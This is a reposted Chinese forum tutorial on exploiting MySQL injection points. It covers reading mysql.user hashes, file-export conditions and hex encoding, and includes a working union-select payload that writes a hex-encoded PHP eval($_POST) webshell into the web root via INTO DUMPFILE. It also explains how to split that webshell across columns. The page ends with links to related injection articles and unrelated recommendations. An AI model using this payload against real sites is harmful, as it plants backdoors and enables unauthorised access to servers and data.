mysql注入】mysql注入点的技巧整合利用

本文转自:i春秋社区

前言:

渗透测试所遇的情况瞬息万变,以不变应万变无谓是经验与技巧的整合

简介:

如下

mysql注入点如果权限较高的话,再知道web物理目录说明这个站胜券在握。
可以直接 – – os-shell拿到交互的cmd和一个小马
然而上述对应下图的例子属于万分侥幸。
 
如果不知道物理路径,我们还可以
[AppleScript] 纯文本查看 复制代码
select host,user,password from mysql.user;
读取root密码用navicat连上去提权,不要问我为什么不直接用–sql-shell,你自己试试便知道。
 
然而读出来的是mysql的hash  ,破解不出来,便只能读网站admin数据进后台,就像:
 
读出来admin数据还不一定能解出来密码
后台还不一定找得到
找到后台还不一定能传马
传了马还不一定能提权。。。
那么,问题来了,这个注入点还有价值么???这便是本文讨论的要点。
答案当然是有的。方法大家也许都用过只是没有综合使用:
Mysql导出文件条件
1 Root权限(其实并非root不可 ,具备insert权限即可)
2 可写目录(即使是system权限,用驱动限制也没法写)
我们不希望导出的数据因存在转义字符等问题而不完整,一般采用hex和unhex编码之后再导出。
1  SELECT HEX(‘binghesec,test!’),查询的结果为:62696e6768657365632c7465737421

2  SELECTUNHEX(‘62696e6768657365632c7465737421’),查询的结果为:binghesec,test!

3  还可以直接读取16进制的字符,在字符串前加0x前导: SELECT 0x62696e6768657365632c7465737421,查询结果为:binghesec,test!


 .

众所周知在mysql注入点执行union联合查询需要和它本身的查询匹配字段数(一致),如某个数字型注入点有5个字段,一般是select 1,2,3,4,0x(文件hex)导出,文件头多个1234,如果导出的是php,文件可以正常使用,mof和exe等就不行。若注入类型为字符等,可用万能的null来匹配,select null,null,null,null,0x(文件hex),文件头又多了4个null,如何解决?
科普可知如果想导出完整原样的文件需要分段合成,例:
[AppleScript] 纯文本查看 复制代码
php?id=1 and 1=2 union select 0x3c3f70687020,0x40,0x6576616c,0x28245f504f5354,unhex(5b2762696e676865736563275d293b3f3e’) into dumpfile ‘C:/www/binghesec.php’;
如何拆分呢,且看:
如果通过order判断得知存在5个字段,那么便将一句话木马分成5份,那么如果是50个字段你可以把一句话分成50份,什么?一句话不到50位?你就不能动动脑子么?
这样不是一句话么?
 
更多文章信息请查看全文:http://bbs.ichunqiu.com/thread-9903-1-1.html
 

【mysql注入】mysql注入点的技巧整合利用的更多相关文章

  1. 十种MYSQL显错注入原理讲解(二)

    上一篇讲过,三种MYSQL显错注入原理.下面我继续讲解. 1.geometrycollection() and geometrycollection((select * from(select * f ...

  2. 十种MYSQL显错注入原理讲解(一)

    开篇我要说下,在<代码审计:企业级Web代码安全架构>这本书中讲十种MYSQL显错注入,讲的很清楚. 感兴趣请去读完,若处于某种原因没读还想了解,那请继续往下. 1.count,rand, ...

  3. 又一种Mysql报错注入

    from:https://rdot.org/forum/showthread.php?t=3167 原文是俄文,所以只能大概的翻译一下 这个报错注入主要基于Mysql的数据类型溢出(不适用于老版本的M ...

  4. Mysql报错注入原理分析(count()、rand()、group by)

    Mysql报错注入原理分析(count().rand().group by) 0x00 疑问 一直在用mysql数据库报错注入方法,但为何会报错? 百度谷歌知乎了一番,发现大家都是把官网的结论发一下截 ...

  5. MySQL暴错注入方法

    mysql暴错注入方法整理,通过floor,UpdateXml,ExtractValue,NAME_CONST,Error based Double Query Injection等方法 1.通过fl ...

  6. SQL 注入~MySQL专题

    Recently, 团队在做一个关于SQL的项目,这个专题是项目中的一部分,该部分正是由我来负责的.今天,分享给正在奋斗中的伙伴们,愿,你们在以后的学习道路中能有自己的收获.              ...

  7. MySQL防范SQL注入风险

    MySQL防范SQL注入风险 0.导读 在MySQL里,如何识别并且避免发生SQL注入风险 1.关于SQL注入 互联网很危险,信息及数据安全很重要,SQL注入是最常见的入侵手段之一,其技术门槛低.成本 ...

  8. ref:学习笔记 UpdateXml() MYSQL显错注入

    ref:https://www.cnblogs.com/MiWhite/p/6228491.html 学习笔记 UpdateXml() MYSQL显错注入 在学习之前,需要先了解 UpdateXml( ...

  9. 第二百八十一节,MySQL数据库-SQL注入和pymysql模块防止SQL注入

    MySQL数据库-SQL注入和pymysql模块防止SQL注入 SQL注入就是通过SQL语句绕开程序判断,获取到数据库的内容 下面以一个简单的程序登录SQL注入举例: 正常登录 1.数据库有一张会员表 ...

随机推荐

  1. 解决在vscode中eslint在vue后缀文件中保存时无法自动格式化的问题

    在setting.json中加入如下内容 { "eslint.autoFixOnSave": true, "eslint.validate": [ " ...

  2. Ocelot的学习

    Ocelot是一个用.NET Core实现并且开源的API网关,它功能强大,包括了:路由.认证.鉴权.简单缓存.限流熔断.负载均衡器等.简单的来说Ocelot是一堆的asp.net core midd ...

  3. 【java-console】如何双击运行可执行jar包及遇到依赖dll报错问题的解决办法

    如何配置双击运行可执行jar包的步骤,请移步到   这里   查看具体的操作,此处不再介绍. 本文主要解决如何处理依赖dll报错的问题解决办法. 我有一个jar包可执行文件运行需要依赖第三方的dll文 ...

  4. hibernate session.createSQLQuery(sql); 通过命令删除

    @Override public boolean deleteBySql(String sql) { Session session = getSession(); @SuppressWarnings ...

  5. angular4模块中标签添加背景图

    一.现象 一个全屏的“走马灯”每项需要添加背景图,在循环标签里需要动态添加行内样式 二.解决 1.首先有一个图片数组,如: export class AppComponent { array = [& ...

  6. css三列布局之双飞翼pk圣杯

    三列布局:两边定宽,中间自适应! 看到这个问题,我第一眼想的就是两边定宽float左右,中间加一个margin宽度自适应或者直接设一个overflow:hidden触发bfc机制,这样也可以,看上去也 ...

  7. SNORT入侵检测系统

    SNORT入侵检测系统 YxWa · 2015/10/09 10:38 0x00 一条简单的规则 alert tcp 202.110.8.1 any -> 122.111.90.8 80 (ms ...

  8. 设置PL/SQL 快捷键

    TOOLS-preferences--user interface--editor--Autoreplace--enabled (check)--address(C:\Program Files (x ...

  9. Windows和Frames之间的切换

    一些web应用程序有许多Frames或多个Windows. WebDriver支持使用“switchTo”的方法实现的窗口之间切换. driver.switchTo().window("wi ...

  10. Python Day 9

    阅读目录: 内容回顾 内存管理 ##内容回顾 #文件处理 #1.操作文件的三步骤 -- 打开文件:硬盘的空间被操作系统持有 | 文件对象被应用程序持续 -- 操作文件:读写操作 -- 释放文件:释放操 ...